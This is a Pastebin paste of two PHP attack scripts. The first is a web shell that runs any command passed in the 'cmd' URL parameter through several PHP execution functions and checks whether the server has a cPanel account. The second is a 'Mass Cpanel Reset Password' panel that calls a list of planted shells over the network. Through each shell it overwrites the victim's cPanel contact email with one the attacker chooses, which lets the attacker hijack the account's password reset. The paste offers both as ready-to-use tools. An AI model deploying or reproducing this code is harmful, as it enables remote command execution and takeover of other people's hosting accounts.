Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // RintoD
- function execute($cmd){
- if(is_callable('system')) {
- @ob_start();
- @system($cmd);
- $ntod = @ob_get_contents();
- @ob_end_clean();
- return $ntod;
- }
- elseif(is_callable('exec')){
- @exec($cmd, $rest);
- foreach($rest as $result){
- $ntod .= $result;
- }
- return $ntod;
- }
- elseif(is_callable('passthru')){
- @ob_start();
- @passthru($cmd);
- $ntod = @ob_get_contents();
- @ob_end_clean();
- return $ntod;
- }
- elseif(is_callable('shell_exec')){
- $ntod = shell_exec($cmd);
- return $ntod;
- }
- elseif(is_callable('proc_open')){
- $ntod = array(
- 0 => array("pipe", "r"),
- 1 => array("pipe", "w"),
- 2 => array("pipe", "w")
- );
- $ntodProc = @proc_open($cmd, $ntod, $pipe, getcwd(), array());
- if(is_resource($ntodProc)){
- while($ntodS = fgets($pipe[1])){
- if(!empty($ntodS)){
- $ntoy .= $ntodS;
- }
- }
- while($ntodY = fgets($pipe[2])){
- if(!empty($ntodY)){
- $ntoy .= $ntodY;
- }
- }
- }
- @proc_close($ntodProc);
- if(!empty($ntoy)){
- return $ntoy;
- }
- }
- elseif(is_callable('popen')){
- $ntod = @popen($cmd, 'r');
- if($ntod){
- while(!feof($ntod)){
- $ntoy .= fread($ntod, 2096);
- }
- pclose($ntod);
- }
- if(!empty($ntoy)){
- return $ntoy;
- }
- }
- }
- $commd = @$_GET["cmd"];
- if($commd){
- if(execute($commd)){
- echo execute($commd);
- }
- else{
- echo "ERROR! can run command";
- }
- }
- elseif($_GET["user"]){
- if(function_exists("posix_getpwuid")){
- $meh = @posix_getpwuid(fileowner(__FILE__));
- }
- else{
- $meh = fileowner(__FILE__);
- }
- $data = [];
- $data = array("user" => $meh);
- echo json_encode($data);
- }else{
- if(function_exists("posix_getpwuid")){
- $meh = @posix_getpwuid(fileowner(__FILE__));
- }
- else{
- $meh = fileowner(__FILE__);
- }
- if(is_dir("/home/".$meh["name"]."/.cpanel")){
- echo ".cpanel Found";
- }
- else{
- echo ".cpanel Not Found";
- }
- }
- > Second Upload This Script in your website { For Remotly }
- <?php
- // RintoD
- function makeRequest($url, $post = null, $head = null)
- {
- $options = array(
- CURLOPT_URL => $url,
- CURLOPT_CONNECTTIMEOUT => 15,
- CURLOPT_RETURNTRANSFER => true,
- CURLOPT_FOLLOWLOCATION => true,
- CURLOPT_SSL_VERIFYHOST => false,
- CURLOPT_SSL_VERIFYPEER => false,
- CURLOPT_MAXREDIRS => 10
- );
- $ch = curl_init();
- curl_setopt_array($ch, $options);
- if ($post && !empty($post)) {
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
- }
- if ($head && !empty($head)) {
- curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
- }
- $outputs = curl_exec($ch);
- curl_close($ch);
- return ($outputs);
- }
- ?>
- <html>
- <head>
- <title>Mass Cpanel Reset Password</title>
- <style type="text/css">
- body{
- background: black;
- color: white;
- font-size: 14px;
- }
- textarea{
- width: 50%;
- height: 50%;
- background: transparent;
- border: 1px solid #fff;
- font-size: 14px;
- color: #fff;
- }
- input[type=submit],input[type=text]{
- background: transparent;
- border: 1px solid #fff;
- color: #fff;
- width: 50%;
- }
- </style>
- </head>
- <body>
- <center><h2>Cpanel Mass Reset Password</h2>
- <br />
- <form method="POST" action="">
- <textarea name="lst"></textarea>
- <br />
- <input type="text" name="email" placeholder="Email">
- <br />
- <input type="submit" name="sbm" value="Reset!!">
- </form>
- <?php
- $smb = @$_POST["submit"];
- $email = @$_POST["email"];
- $lst = explode("\r\n", @$_POST["lst"]);
- foreach($lst as $list){
- preg_match_all("#^http.*?://(.*?)/#", $list, $bah);
- $meh = makeRequest($bah[0][0]."cpanel");
- if(preg_match("/>Reset Password/", $meh)){
- $check = makeRequest($list);
- if(preg_match("|.cpanel Found|", $check)){
- $low = makeRequest($list."?user=rintod");
- $cw = json_decode($low, true);
- $cmd = makeRequest($list."?cmd=echo%20$email%20>%20".$cw["user"]["dir"]."/.contactemail;echo%20RintoD");
- if(preg_match("/ERROR/i", $cmd)){
- echo $list. " > Failed :D Try Manual<br>";
- }
- else{
- echo $list. " > Success Try Reset The Password ".$bah[0][0]."/cpanel | $email<br>";
- }
- }
- else{
- echo $list. " > Cant Reset<br>";
- }
- }
- else{
- echo $list." >> Sorry Reset Password Is Disable :D";
- }
- }
- ?>
- </center>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement